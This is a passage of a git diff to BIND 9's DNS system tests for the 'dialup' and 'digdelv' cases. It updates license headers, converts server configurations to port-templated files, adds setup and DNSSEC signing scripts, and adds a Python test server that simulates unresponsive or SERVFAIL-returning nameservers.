--- a/bin/tests/system/dialup/clean.sh
+++ b/bin/tests/system/dialup/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -12,3 +14,5 @@
 rm -f ns2/example.bk
 rm -f ns3/example.bk
 rm -f */named.memstats */named.run
+rm -f ns*/named.conf
+rm -f ns*/named.lock
diff --git a/bin/tests/system/dialup/ns1/example.db b/bin/tests/system/dialup/ns1/example.db
index e1f203ee64..3ce33f9acb 100644
--- a/bin/tests/system/dialup/ns1/example.db
+++ b/bin/tests/system/dialup/ns1/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dialup/ns1/named.conf b/bin/tests/system/dialup/ns1/named.conf
deleted file mode 100644
index 9811b7f432..0000000000
--- a/bin/tests/system/dialup/ns1/named.conf
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-controls { /* empty */ };
-
-options {
-	query-source address 10.53.0.1;
-	notify-source 10.53.0.1;
-	transfer-source 10.53.0.1;
-	port 5300;
-	pid-file "named.pid";
-	listen-on { 10.53.0.1; };
-	listen-on-v6 { none; };
-	heartbeat-interval 2;
-	recursion no;
-	dnssec-validation no;
-};
-
-zone "." {
-	type master;
-	file "root.db";
-};
-
-zone "example." {
-	type master;
-	notify explicit;
-	also-notify { 10.53.0.2; };
-	dialup yes;
-	file "example.db";
-};
diff --git a/bin/tests/system/dialup/ns1/named.conf.in b/bin/tests/system/dialup/ns1/named.conf.in
new file mode 100644
index 0000000000..4b8302bcfa
--- /dev/null
+++ b/bin/tests/system/dialup/ns1/named.conf.in
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+controls { /* empty */ };
+
+options {
+	query-source address 10.53.0.1;
+	notify-source 10.53.0.1;
+	transfer-source 10.53.0.1;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.1; };
+	listen-on-v6 { none; };
+	heartbeat-interval 2;
+	recursion no;
+	dnssec-validation no;
+};
+
+zone "." {
+	type primary;
+	file "root.db";
+};
+
+zone "example." {
+	type primary;
+	notify explicit;
+	also-notify { 10.53.0.2; };
+	dialup yes;
+	file "example.db";
+};
diff --git a/bin/tests/system/dialup/ns1/root.db b/bin/tests/system/dialup/ns1/root.db
index 7baffd2bf3..882da96696 100644
--- a/bin/tests/system/dialup/ns1/root.db
+++ b/bin/tests/system/dialup/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dialup/ns2/hint.db b/bin/tests/system/dialup/ns2/hint.db
index ffb6dcff3d..0198f2578a 100644
--- a/bin/tests/system/dialup/ns2/hint.db
+++ b/bin/tests/system/dialup/ns2/hint.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dialup/ns2/named.conf b/bin/tests/system/dialup/ns2/named.conf
deleted file mode 100644
index fdf06029e7..0000000000
--- a/bin/tests/system/dialup/ns2/named.conf
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-controls { /* empty */ };
-
-options {
-	query-source address 10.53.0.2;
-	notify-source 10.53.0.2;
-	transfer-source 10.53.0.2;
-	port 5300;
-	pid-file "named.pid";
-	listen-on { 10.53.0.2; };
-	listen-on-v6 { none; };
-	heartbeat-interval 2;
-	recursion no;
-	dnssec-validation no;
-};
-
-zone "." {
-	type hint;
-	file "hint.db";
-};
-
-zone "example." {
-	type slave;
-	dialup passive;
-	notify no;
-	file "example.bk";
-	masters { 10.53.0.1; };
-};
diff --git a/bin/tests/system/dialup/ns2/named.conf.in b/bin/tests/system/dialup/ns2/named.conf.in
new file mode 100644
index 0000000000..382f5ce9a4
--- /dev/null
+++ b/bin/tests/system/dialup/ns2/named.conf.in
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+controls { /* empty */ };
+
+options {
+	query-source address 10.53.0.2;
+	notify-source 10.53.0.2;
+	transfer-source 10.53.0.2;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.2; };
+	listen-on-v6 { none; };
+	heartbeat-interval 2;
+	recursion no;
+	dnssec-validation no;
+};
+
+zone "." {
+	type hint;
+	file "hint.db";
+};
+
+zone "example." {
+	type secondary;
+	dialup passive;
+	notify no;
+	file "example.bk";
+	primaries { 10.53.0.1; };
+};
diff --git a/bin/tests/system/dialup/ns3/hint.db b/bin/tests/system/dialup/ns3/hint.db
index ffb6dcff3d..0198f2578a 100644
--- a/bin/tests/system/dialup/ns3/hint.db
+++ b/bin/tests/system/dialup/ns3/hint.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/dialup/ns3/named.conf b/bin/tests/system/dialup/ns3/named.conf
deleted file mode 100644
index 864b026b0c..0000000000
--- a/bin/tests/system/dialup/ns3/named.conf
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-controls { /* empty */ };
-
-options {
-	query-source address 10.53.0.3;
-	notify-source 10.53.0.3;
-	transfer-source 10.53.0.3;
-	port 5300;
-	pid-file "named.pid";
-	listen-on { 10.53.0.3; };
-	listen-on-v6 { none; };
-	heartbeat-interval 2;
-	recursion no;
-	dnssec-validation no;
-};
-
-zone "." {
-	type hint;
-	file "hint.db";
-};
-
-zone "example." {
-	type slave;
-	dialup refresh;
-	notify no;
-	file "example.bk";
-	masters { 10.53.0.2; };
-};
diff --git a/bin/tests/system/dialup/ns3/named.conf.in b/bin/tests/system/dialup/ns3/named.conf.in
new file mode 100644
index 0000000000..054a65893c
--- /dev/null
+++ b/bin/tests/system/dialup/ns3/named.conf.in
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+controls { /* empty */ };
+
+options {
+	query-source address 10.53.0.3;
+	notify-source 10.53.0.3;
+	transfer-source 10.53.0.3;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.3; };
+	listen-on-v6 { none; };
+	heartbeat-interval 2;
+	recursion no;
+	dnssec-validation no;
+};
+
+zone "." {
+	type hint;
+	file "hint.db";
+};
+
+zone "example." {
+	type secondary;
+	dialup refresh;
+	notify no;
+	file "example.bk";
+	primaries { 10.53.0.2; };
+};
diff --git a/bin/tests/system/dialup/setup.sh b/bin/tests/system/dialup/setup.sh
new file mode 100644
index 0000000000..dad3589a35
--- /dev/null
+++ b/bin/tests/system/dialup/setup.sh
@@ -0,0 +1,19 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../conf.sh
+
+copy_setports ns1/named.conf.in ns1/named.conf
+copy_setports ns2/named.conf.in ns2/named.conf
+copy_setports ns3/named.conf.in ns3/named.conf
diff --git a/bin/tests/system/dialup/tests.sh b/bin/tests/system/dialup/tests.sh
index 8c150cdeeb..b68c71e049 100644
--- a/bin/tests/system/dialup/tests.sh
+++ b/bin/tests/system/dialup/tests.sh
@@ -1,21 +1,25 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 status=0
 
 rm -f dig.out.*
 
-DIGOPTS="+norec +tcp +noadd +nosea +nostat +noquest +nocmd -p 5300"
+DIGOPTS="+norec +tcp +noadd +nosea +nostat +noquest +nocmd -p ${PORT}"
 
 # Check the example. domain
 
@@ -28,7 +32,7 @@ do
 	$DIG $DIGOPTS example. @10.53.0.2 soa > dig.out.ns2.test || ret=1
 	if grep SERVFAIL dig.out.ns2.test > /dev/null
 	then
-		try=`expr $try + 1`
+		try=$((try + 1))
 		sleep 1
 	else
                 digcomp dig.out.ns1.test dig.out.ns2.test || ret=1
@@ -37,7 +41,7 @@ do
 done
 echo_i "try $try"
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking that second zone transfer worked"
 ret=0
@@ -47,7 +51,7 @@ do
 	$DIG $DIGOPTS example. @10.53.0.3 soa > dig.out.ns3.test || ret=1
 	if grep SERVFAIL dig.out.ns3.test > /dev/null
 	then
-		try=`expr $try + 1`
+		try=$((try + 1))
 		sleep 1
 	else
                 digcomp dig.out.ns1.test dig.out.ns3.test || ret=1
@@ -56,7 +60,7 @@ do
 done
 echo_i "try $try"
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/dialup/tests_sh_dialup.py b/bin/tests/system/dialup/tests_sh_dialup.py
new file mode 100644
index 0000000000..fa28e86dcf
--- /dev/null
+++ b/bin/tests/system/dialup/tests_sh_dialup.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_dialup(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/digcomp.pl b/bin/tests/system/digcomp.pl
index 228caf4173..8024dea5e3 100644
--- a/bin/tests/system/digcomp.pl
+++ b/bin/tests/system/digcomp.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/digdelv/ans4/startme b/bin/tests/system/digdelv/ans4/startme
index e69de29bb2..8b13789179 100644
--- a/bin/tests/system/digdelv/ans4/startme
+++ b/bin/tests/system/digdelv/ans4/startme
@@ -0,0 +1 @@
+
diff --git a/bin/tests/system/digdelv/ans5/ans.pl b/bin/tests/system/digdelv/ans5/ans.pl
index 83754e7db8..63964060d7 100644
--- a/bin/tests/system/digdelv/ans5/ans.pl
+++ b/bin/tests/system/digdelv/ans5/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/digdelv/ans6/ans.pl b/bin/tests/system/digdelv/ans6/ans.pl
index 5505b22535..39d02b2c69 100755
--- a/bin/tests/system/digdelv/ans6/ans.pl
+++ b/bin/tests/system/digdelv/ans6/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl -w
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/digdelv/ans7/ans.pl b/bin/tests/system/digdelv/ans7/ans.pl
index 0c62043c82..a7aa60eb9d 100755
--- a/bin/tests/system/digdelv/ans7/ans.pl
+++ b/bin/tests/system/digdelv/ans7/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl -w
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/digdelv/ans8/ans.py b/bin/tests/system/digdelv/ans8/ans.py
new file mode 100644
index 0000000000..3e18edc1cc
--- /dev/null
+++ b/bin/tests/system/digdelv/ans8/ans.py
@@ -0,0 +1,202 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+from __future__ import print_function
+import os
+import sys
+import signal
+import socket
+import select
+import struct
+
+import dns, dns.message
+from dns.rcode import *
+
+modes = [
+    b"silent",  # Do not respond
+    b"close",  # UDP: same as silent; TCP: also close the connection
+    b"servfail",  # Always respond with SERVFAIL
+    b"unstable",  # Constantly switch between "silent" and "servfail"
+]
+mode = modes[0]
+n = 0
+
+
+def ctrl_channel(msg):
+    global modes, mode, n
+
+    msg = msg.splitlines().pop(0)
+    print("Received control message: %s" % msg)
+
+    if msg in modes:
+        mode = msg
+        n = 0
+        print("New mode: %s" % str(mode))
+
+
+def create_servfail(msg):
+    m = dns.message.from_wire(msg)
+    qname = m.question[0].name.to_text()
+    rrtype = m.question[0].rdtype
+    typename = dns.rdatatype.to_text(rrtype)
+
+    with open("query.log", "a") as f:
+        f.write("%s %s\n" % (typename, qname))
+        print("%s %s" % (typename, qname), end=" ")
+
+    r = dns.message.make_response(m)
+    r.set_rcode(SERVFAIL)
+    return r
+
+
+def sigterm(signum, frame):
+    print("Shutting down now...")
+    os.remove("ans.pid")
+    running = False
+    sys.exit(0)
+
+
+ip4 = "10.53.0.8"
+
+try:
+    port = int(os.environ["PORT"])
+except:
+    port = 5300
+
+try:
+    ctrlport = int(os.environ["EXTRAPORT1"])
+except:
+    ctrlport = 5300
+
+query4_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+query4_udp.bind((ip4, port))
+
+query4_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+query4_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+query4_tcp.bind((ip4, port))
+query4_tcp.listen(100)
+
+ctrl4_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ctrl4_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+ctrl4_tcp.bind((ip4, ctrlport))
+ctrl4_tcp.listen(100)
+
+signal.signal(signal.SIGTERM, sigterm)
+
+f = open("ans.pid", "w")
+pid = os.getpid()
+print(pid, file=f)
+f.close()
+
+running = True
+
+print("Listening on %s port %d" % (ip4, port))
+print("Listening on %s port %d" % (ip4, ctrlport))
+print("Ctrl-c to quit")
+
+input = [query4_udp, query4_tcp, ctrl4_tcp]
+
+hung_conns = []
+
+while running:
+    try:
+        inputready, outputready, exceptready = select.select(input, [], [])
+    except select.error as e:
+        break
+    except socket.error as e:
+        break
+    except KeyboardInterrupt:
+        break
+
+    for s in inputready:
+        if s == query4_udp:
+            n = n + 1
+            print("UDP query received on %s" % ip4, end=" ")
+            msg = s.recvfrom(65535)
+            if (
+                mode == b"silent"
+                or mode == b"close"
+                or (mode == b"unstable" and n % 2 == 1)
+            ):
+                # Do not respond.
+                print("NO RESPONSE (%s)" % str(mode))
+                continue
+            elif mode == b"servfail" or (mode == b"unstable" and n % 2 == 0):
+                rsp = create_servfail(msg[0])
+                if rsp:
+                    print(dns.rcode.to_text(rsp.rcode()))
+                    s.sendto(rsp.to_wire(), msg[1])
+                else:
+                    print("NO RESPONSE (can not create a response)")
+            else:
+                raise (Exception("unsupported mode: %s" % mode))
+        elif s == query4_tcp:
+            n = n + 1
+            print("TCP query received on %s" % ip4, end=" ")
+            conn = None
+            try:
+                if mode == b"silent" or (mode == b"unstable" and n % 2 == 1):
+                    conn, addr = s.accept()
+                    # Do not respond and hang the connection.
+                    print("NO RESPONSE (%s)" % str(mode))
+                    hung_conns.append(conn)
+                    continue
+                elif mode == b"close":
+                    conn, addr = s.accept()
+                    # Do not respond and close the connection.
+                    print("NO RESPONSE (%s)" % str(mode))
+                    conn.close()
+                    continue
+                elif mode == b"servfail" or (mode == b"unstable" and n % 2 == 0):
+                    conn, addr = s.accept()
+                    # get TCP message length
+                    msg = conn.recv(2)
+                    if len(msg) != 2:
+                        print("NO RESPONSE (can not read the message length)")
+                        conn.close()
+                        continue
+                    length = struct.unpack(">H", msg[:2])[0]
+                    msg = conn.recv(length)
+                    if len(msg) != length:
+                        print("NO RESPONSE (can not read the message)")
+                        conn.close()
+                        continue
+                    rsp = create_servfail(msg)
+                    if rsp:
+                        print(dns.rcode.to_text(rsp.rcode()))
+                        wire = rsp.to_wire()
+                        conn.send(struct.pack(">H", len(wire)))
+                        conn.send(wire)
+                    else:
+                        print("NO RESPONSE (can not create a response)")
+                else:
+                    raise (Exception("unsupported mode: %s" % mode))
+            except socket.error as e:
+                print("NO RESPONSE (error: %s)" % str(e))
+            if conn:
+                conn.close()
+        elif s == ctrl4_tcp:
+            print("Control channel connected")
+            conn = None
+            try:
+                # Handle control channel input
+                conn, addr = s.accept()
+                msg = conn.recv(1024)
+                if msg:
+                    ctrl_channel(msg)
+                conn.close()
+            except s.timeout:
+                pass
+            if conn:
+                conn.close()
+
+    if not running:
+        break
diff --git a/bin/tests/system/digdelv/clean.sh b/bin/tests/system/digdelv/clean.sh
index 5eeca086b3..70797f0b93 100644
--- a/bin/tests/system/digdelv/clean.sh
+++ b/bin/tests/system/digdelv/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -11,10 +13,12 @@
 
 set -e
 
-rm -f ./*/anchor.*
+rm -f ./anchor.* ./*/anchor.*
 rm -f ./*/named.conf
 rm -f ./*/named.memstats
 rm -f ./*/named.run
+rm -f ./ans*/ans.run
+rm -f ./ans*/query.log
 rm -f ./delv.out.test*
 rm -f ./dig.out.*test*
 rm -f ./dig.out.mm.*
@@ -24,7 +28,11 @@ rm -f ./dig.out.nn.*
 rm -f ./host.out.test*
 rm -f ./ns*/managed-keys.bind*
 rm -f ./ns*/named.lock
-rm -f ./ns2/dsset-example.
-rm -f ./ns2/example.db ./ns2/K* ./ns2/keyid ./ns2/keydata
+rm -f ./ns*/K* ./ns*/keyid ./ns*/keydata
+rm -f ./ns1/root.db
+rm -f ./ns*/dsset-*
+rm -f ./ns2/example.db
+rm -f ./ns2/example.tld.db
 rm -f ./nslookup.out.test*
+rm -f ./nsupdate.out.test*
 rm -f ./yamlget.out.*
diff --git a/bin/tests/system/digdelv/ns1/named.conf.in b/bin/tests/system/digdelv/ns1/named.conf.in
index ff1317892e..df552bd021 100644
--- a/bin/tests/system/digdelv/ns1/named.conf.in
+++ b/bin/tests/system/digdelv/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/digdelv/ns1/root.db b/bin/tests/system/digdelv/ns1/root.db
deleted file mode 100644
index 76ed2a0310..0000000000
--- a/bin/tests/system/digdelv/ns1/root.db
+++ /dev/null
@@ -1,24 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300
-. 			IN SOA	gson.nominum.com. a.root.servers.nil. (
-				2000042100   	; serial
-				600         	; refresh
-				600         	; retry
-				1200    	; expire
-				600       	; minimum
-				)
-.			NS	a.root-servers.nil.
-a.root-servers.nil.	A	10.53.0.1
-a.root-servers.nil.	AAAA	fd92:7065:b8e:ffff::1
-
-example.		NS	ns2.example.
-ns2.example.		A	10.53.0.2
-ns2.example.		AAAA	fd92:7065:b8e:ffff::2
diff --git a/bin/tests/system/digdelv/ns1/root.db.in b/bin/tests/system/digdelv/ns1/root.db.in
new file mode 100644
index 0000000000..b43cc40390
--- /dev/null
+++ b/bin/tests/system/digdelv/ns1/root.db.in
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+. 			IN SOA	gson.nominum.com. a.root.servers.nil. (
+				2000042100   	; serial
+				600         	; refresh
+				600         	; retry
+				1200    	; expire
+				600       	; minimum
+				)
+.			NS	a.root-servers.nil.
+a.root-servers.nil.	A	10.53.0.1
+a.root-servers.nil.	AAAA	fd92:7065:b8e:ffff::1
+
+example.		NS	ns2.example.
+ns2.example.		A	10.53.0.2
+ns2.example.		AAAA	fd92:7065:b8e:ffff::2
diff --git a/bin/tests/system/digdelv/ns1/sign.sh b/bin/tests/system/digdelv/ns1/sign.sh
new file mode 100644
index 0000000000..2651c191c1
--- /dev/null
+++ b/bin/tests/system/digdelv/ns1/sign.sh
@@ -0,0 +1,31 @@
+#!/bin/sh -e
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# shellcheck source=conf.sh
+. ../../conf.sh
+
+set -e
+
+(cd ../ns2 && $SHELL sign.sh )
+
+cp "../ns2/dsset-example." .
+
+ksk=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -n zone .)
+
+cp root.db.in root.db
+
+"$SIGNER" -Sgz -f root.db -o . root.db.in > /dev/null 2>&1
+
+keyfile_to_key_id "$ksk" > keyid
+grep -Ev '^;' < "$ksk.key" | cut -f 7- -d ' ' > keydata
+keyfile_to_initial_keys "$ksk" > anchor.dnskey
diff --git a/bin/tests/system/digdelv/ns2/example.db.in b/bin/tests/system/digdelv/ns2/example.db.in
index d69a7cb4b2..c711049e98 100644
--- a/bin/tests/system/digdelv/ns2/example.db.in
+++ b/bin/tests/system/digdelv/ns2/example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/digdelv/ns2/named.conf.in b/bin/tests/system/digdelv/ns2/named.conf.in
index 6a90c358de..6a6c2b9fb7 100644
--- a/bin/tests/system/digdelv/ns2/named.conf.in
+++ b/bin/tests/system/digdelv/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
